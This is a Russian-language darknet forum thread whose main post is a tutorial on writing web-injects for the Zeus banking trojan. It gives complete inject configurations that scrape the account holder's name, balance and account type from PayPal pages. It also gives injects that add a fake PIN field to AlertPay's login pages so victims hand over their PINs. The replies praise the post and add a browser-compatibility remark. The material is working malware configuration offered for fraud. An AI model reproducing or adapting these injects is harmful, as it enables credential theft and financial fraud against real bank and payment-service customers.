Перейти к публикации
  • Гавань Пиратов!

    Добро пожаловать в DarkNet! Вы на теневом ресурсе - Гавань Пиратов!

    Чтобы стать участником форума вы должны "Зарегистрироваться", после этого вы сможете писать пользователям в Личные сообщения.

    Для новичков введена "предмодерация" перед публикацией "Тем" и "Cообщений" в темах. Подробнее

    А также, если вы впервые находитесь в DarkNet, вам полезно изучить "Сленг" и "Вопросы и ответы" Подробнее

necro

Практика написания инжектов для Zeus на примере PayPal

Рекомендованные сообщения

Всем привет, в этой статье я покажу на практике как написать инжекты для граббинга баланса, типа, имени холдера.Для работы нам потребуется локальный веб-сервер, билдер и админка зевса,текстовый редактор,браузер опера(по желанию,но в статье буду работать именно с ним) и акк палки.

1.Настройка ПО.

Ставим веб-сервер,зевса.Про это много статей,описывать все по новой небуду.Ставим браузер и редактор.Прошу обратить внимание что в разных браузерах html код обрабатывается по разному.

2.Граббим данные с PayPal.

Для работы я буду использовать свой РУ акк,это неначто по большому счету невлияет.

И так,после входа в ПС видим наизусть знакомый нам интерфейс системы. Что будем грабить с этого акка это имя,баланс,тип.

Жмем правой кнопкой на пустом месте в странице, в контекстном меню выбираем “Проинспектировать элемент” .Увидем следущее:

 

1666281.jpg

 

Красным я выделил данные которые будем собирать.

Начнем с имени, шелкаем лкм на нем,раскрываем код:

 

1695977.jpg

 

Сделаю небольшое отступление, приведу вырезку по тэгам и флагам.

URL - URL на которую должен срабатывать веб-инжект, можно использовать маску.

флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:

P - запускать веб-инжект при POST запросе на URL.

G - запускать веб-инжект при GET запросе на URL.

L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.

F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.

H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.

D - запускать веб-инжект раз в 24 часа.

После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url. Один веб-инжект состоит из трех элементов:

Без флага L:

data_before - маска данных после которых нужно записать новые данные.

data_after - маска данных перед которыми следует записать новые данные.

data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.

С флагом L:

data_before - маска данных после которых начинается кусок получаемых данных.

data_after - маска данных перед которыми кончается кусок получаемых данных.

data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.

 

Проще говоря data_before ставится перед началом места что будем грабить или откуда будут записываться наши данные, data_after закрывает наш инжект,а data_inject это данные которые будут записаны(html код),при флаге L его можно неставить.Разберем на примере.

На скриншоте я указал где у нас data_before и data_after для граббинга имени.

Для граббинга используется влаг L,поэтому data_inject нас неинтересует.

Как же граббить?

Вначале необходимо установить url при котором он будет запускаться,в нашем случае это сайт paypal.com.Собираем

Код:

Поясняю, set_url-устанавливаем запуск инжекта на наш урл.Далее идет линк

Код:

Сдесь * служит для того чтобы при любом пути(webscr?cmd=_login-done&login_access=1303313700, webscr?cmd=_login-done&login_access=100500 и тд) сработал инжект,в зависимости от стран линк меняется.Например:

Код:

/

и тд.Далее идут флаги GPL.GP для того чтобы инжект запускался при пост и гет запросах,L указывает на то что будем грабить данные.

Расставляем наши метки,для этого ищем подходящие теги в сорце страницы,в нашем случае это <h2> и </h2>.Помещаем в data_before тег <h2>.

data_inject оставляем пустыми.

Цитата: set_url https://www.paypal.com/* GPL

data_before

<h2>

data_end

data_inject

data_end

 

Закрываем инжект, </h2> находится в конце нужным нам данных,указываем его в data_after.

set_url https://www.paypal.com/* GPL

data_before

<h2>

data_end

data_inject

data_end

data_after

</h2>

data_end

 

Вот и все,наш 1 инжект готов)Небольшое отступление,вы заметили «<!--googleoff: all-->» и спросите почему он несграбился,этого неслучилось потому-что мы непоставили флаг H,установите его,тогда будут грабиться и теги.

По анологии создаем для грабинга баланса,статуса,типа.Главное понять где правильно указать начало и конец сграбираевымых данных,смотрим в сорц страницы.

 

1701099.jpg

 

Сдесь мы будем вырезать данные от «<li class="balance">» и заканчивать на «</span>».Почему не начинать с «<strong>» и заканчивать на «</strong>»?Представьте что между тэгами strong хранятся еще куча других данных которые нас совсем не интересуют,зевс сграбит и их,в этоге получи нужные нам данные,но с примесью мусора. А «<li class="balance">» говорит нам что категория называется баланс.Готовый инжект будет выглядеть так:

set_url https://www.paypal.com/* GPL

data_before

<li class="balance">

data_end

data_inject

data_end

data_after

</span>

data_end

 

Все впринципе думаю уже ясно,приведу примеры для грабинга типа аккаунта.

set_url https://www.paypal.com/* GPL

data_before

<li class="accTypeList metaDataFirst">

data_end

data_inject

data_end

data_after

</li>

data_end

 

3.Получаем дополнительные данные.

Сдесь приведу на примере alertpay.com.Дополнительное поле для граббинга PIN.Флаг L больше нам ненужен,будем использовать только GP.

Открываем сорц страницы входа в алерт.Находим место где идет код логина и пароля.Будем ставить дополнительное поле после пароля.Смотрим на скриншот.

 

1667309.jpg

 

Красным я выделил начало и конец кода который будем использовать,то есть

<div class="fielditem">

<label for="ctl00_main_loginInfo_txtNewPassword" id="ctl00_main_loginInfo_litPassword">Password</label><br />

<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />

</div>

 

Теперь заменяем слово Password на слово PIN.Получаем:

<div class="fielditem">

<label for="ctl00_main_loginInfo_txtNewPIN" id="ctl00_main_loginInfo_litPIN">PIN</label><br />

<input name="ctl00$main$loginInfo$txtNewPIN" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPIN" tabindex="2" />

</div>

 

Этот код мы будем инжектить в страницу с помошью тэга data_inject.Теперь нужно все правильно расставить.Из кода смотрим вначале метку для data_before,нам подходит

<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />

Заметьте,я добавлю еще кусочек кода от формы пароля(закрывающий </div>).Теперь ставим наш инжект

set_url https://www.alertpay.com/login.aspx GP

data_before

<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />

data_end

data_inject

</div>

<div class="fielditem">

<label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>

<br/>

<input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>

</div>

data_end

И закрываем его.

data_after

<div class="message">

data_end

В итоге html код алертпая теперь будет таким:

 

1647854.jpg

 

Теперь пользователь перед входом в акк перед собой увидет

 

1201243.jpg

 

Полный код инжект для страницы входа и главной.

set_url https://www.alertpay.com/login.aspx GP

data_before

<input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />

data_end

data_inject

</div>

<div class="fielditem">

<label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>

<br/>

<input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>

</div>

data_end

data_after

<div class="message">

data_end

set_url https://www.alertpay.com/* GP

data_before

<input name="Password" type="password" class="textfield" />

data_end

data_inject

</td>

</tr>

<tr>

<td align="right">

Pin:

</td>

<td>

<input name="Pin" type="password" class="textfield" />

</td>

</tr>

data_end

data_after

<td colspan="2" style="padding:

data_end

Вот и все.Статья была написана с промежутками по времени и по мере возможности.Будут нестыковки и недочеты-пишите поправлю)

 

Автор статьи sweet_hack

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Великолепно. От того же автора нет на эту же тему статей?

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

неа, это все что я вообше нашел, и то случайно))) спасибо аквабоксу)).

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
Прошу обратить внимание что в разных броузерах html код обрабатывается по разному.

Маленькое прим., по разному отображаются: графически, и броузеры бывают добавляют код(а не изменяют), но уже на рендере. Точнее, зевс будет всё равно работать, в любом броузере, без разницы какой использовать :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×